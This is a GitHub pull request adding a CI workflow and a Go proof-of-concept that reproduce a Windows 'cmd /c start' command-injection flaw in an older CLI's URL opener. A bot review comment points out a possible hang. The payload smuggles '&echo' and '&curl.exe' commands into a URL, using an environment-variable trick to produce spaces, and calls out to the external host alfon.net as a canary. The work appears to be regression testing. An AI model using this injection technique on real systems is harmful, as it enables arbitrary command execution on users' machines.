-
Notifications
You must be signed in to change notification settings - Fork 0
ci: test window injection #178
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Closed
+118
−0
Closed
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,30 @@ | ||
| name: windows-openurl-repro | ||
|
|
||
| on: | ||
| pull_request: | ||
| paths: | ||
| - .github/workflows/windows-openurl-repro.yml | ||
| - scripts/repro_windows_openurl/** | ||
| workflow_dispatch: | ||
|
|
||
| permissions: | ||
| contents: read | ||
|
|
||
| jobs: | ||
| unpatched-cmd-start: | ||
| runs-on: windows-latest | ||
| steps: | ||
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 | ||
| - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5 | ||
| with: | ||
| go-version-file: go.mod | ||
| cache: true | ||
| - name: Reproduce v0.1.2 cmd /c start injection | ||
| run: go run ./scripts/repro_windows_openurl | ||
| - name: Point at alfon.net query | ||
| if: always() | ||
| shell: bash | ||
| run: | | ||
| echo "Look for http://alfon.net?g${{ github.run_id }} in alfon.net / Cloudflare logs." | ||
| echo "run_id=${{ github.run_id }}" >> "$GITHUB_STEP_SUMMARY" | ||
| echo "lookup=http://alfon.net?g${{ github.run_id }}" >> "$GITHUB_STEP_SUMMARY" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,88 @@ | ||
| // Command repro_windows_openurl reproduces the v0.1.2 Windows OpenURL sink: | ||
| // exec.Command("cmd", "/c", "start", "", url) with a customer-ID-shaped | ||
| // payload. Current main uses ShellExecuteW instead; this binary talks to | ||
| // cmd.exe directly so the unpatched parser can be observed on a GHA runner. | ||
| // | ||
| // The payload writes a local marker and GETs http://alfon.net?g<run_id>. | ||
| // It does not read files or send secrets. | ||
| package main | ||
|
|
||
| import ( | ||
| "fmt" | ||
| "os" | ||
| "os/exec" | ||
| "path/filepath" | ||
| "runtime" | ||
| "time" | ||
| ) | ||
|
|
||
| func main() { | ||
| if runtime.GOOS != "windows" { | ||
| fmt.Fprintln(os.Stderr, "windows only") | ||
| os.Exit(2) | ||
| } | ||
|
|
||
| runID := os.Getenv("GITHUB_RUN_ID") | ||
| if runID == "" { | ||
| runID = "local" | ||
| } | ||
|
|
||
| cwd, err := os.Getwd() | ||
| if err != nil { | ||
| fmt.Fprintln(os.Stderr, err) | ||
| os.Exit(1) | ||
| } | ||
| marker := filepath.Join(cwd, "RCBB_CLI_EXECUTED.txt") | ||
| httpBody := filepath.Join(cwd, "RCBB_HTTP.txt") | ||
| _ = os.Remove(marker) | ||
| _ = os.Remove(httpBody) | ||
|
|
||
| // No literal spaces/tabs/quotes: Go's EscapeArg would quote the whole | ||
| // URL and cmd.exe would not treat & as a command separator. A comma is | ||
| // not a reliable argv splitter for external exes, so expand a space | ||
| // from %ProgramFiles% ("C:\Program Files", index 10). | ||
| sp := `%ProgramFiles:~10,1%` | ||
| url := "https://app.revenuecat.com/projects/x/customers/rcbb" + | ||
| `&echo>%CD%\RCBB_CLI_EXECUTED.txt` + | ||
| `&curl.exe` + sp + `-s` + sp + `-o` + sp + `%CD%\RCBB_HTTP.txt` + sp + | ||
| `http://alfon.net?g` + runID | ||
|
|
||
| fmt.Printf("run_id=%s\n", runID) | ||
| fmt.Printf("lookup=http://alfon.net?g%s\n", runID) | ||
| fmt.Printf("url=%s\n", url) | ||
| fmt.Printf("::notice::alfon.net query g%s\n", runID) | ||
|
|
||
| cmd := exec.Command("cmd", "/c", "start", "", url) | ||
| cmd.Dir = cwd | ||
| cmd.Stdout = os.Stdout | ||
| cmd.Stderr = os.Stderr | ||
| if err := cmd.Run(); err != nil { | ||
| fmt.Fprintf(os.Stderr, "cmd.Run: %v\n", err) | ||
| } | ||
|
|
||
| deadline := time.Now().Add(15 * time.Second) | ||
| for time.Now().Before(deadline) { | ||
| if _, err := os.Stat(marker); err == nil { | ||
| break | ||
| } | ||
| time.Sleep(200 * time.Millisecond) | ||
| } | ||
|
|
||
| if _, err := os.Stat(marker); err != nil { | ||
| fmt.Fprintln(os.Stderr, "FAIL: marker not created; & split did not run") | ||
| os.Exit(1) | ||
| } | ||
| fmt.Println("PASS: local marker created (cmd.exe parsed &)") | ||
|
|
||
| b, err := os.ReadFile(httpBody) | ||
| if err != nil || len(b) == 0 { | ||
| fmt.Fprintln(os.Stderr, "FAIL: injected curl did not write HTTP body") | ||
| os.Exit(1) | ||
| } | ||
| fmt.Printf("http_body_len=%d\n", len(b)) | ||
| head := b | ||
| if len(head) > 256 { | ||
| head = head[:256] | ||
| } | ||
| fmt.Printf("http_body_head=%q\n", head) | ||
| } | ||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Repro job can hang indefinitely
Medium Severity
The 15-second deadline only starts after
cmd.Run()returns, so it never bounds the injected commands. Incmd.exe,&runs commands sequentially, and the first one isstartof anhttpsURL. If thatstartblocks on the runner’s browser, or if the follow-oncurlhangs talking toalfon.net(no--max-time),echoand the marker check never run and the job can sit until the default runner timeout. The workflow also has notimeout-minutes.Additional Locations (1)
.github/workflows/windows-openurl-repro.yml#L21-L23Reviewed by Cursor Bugbot for commit 818b0c8. Configure here.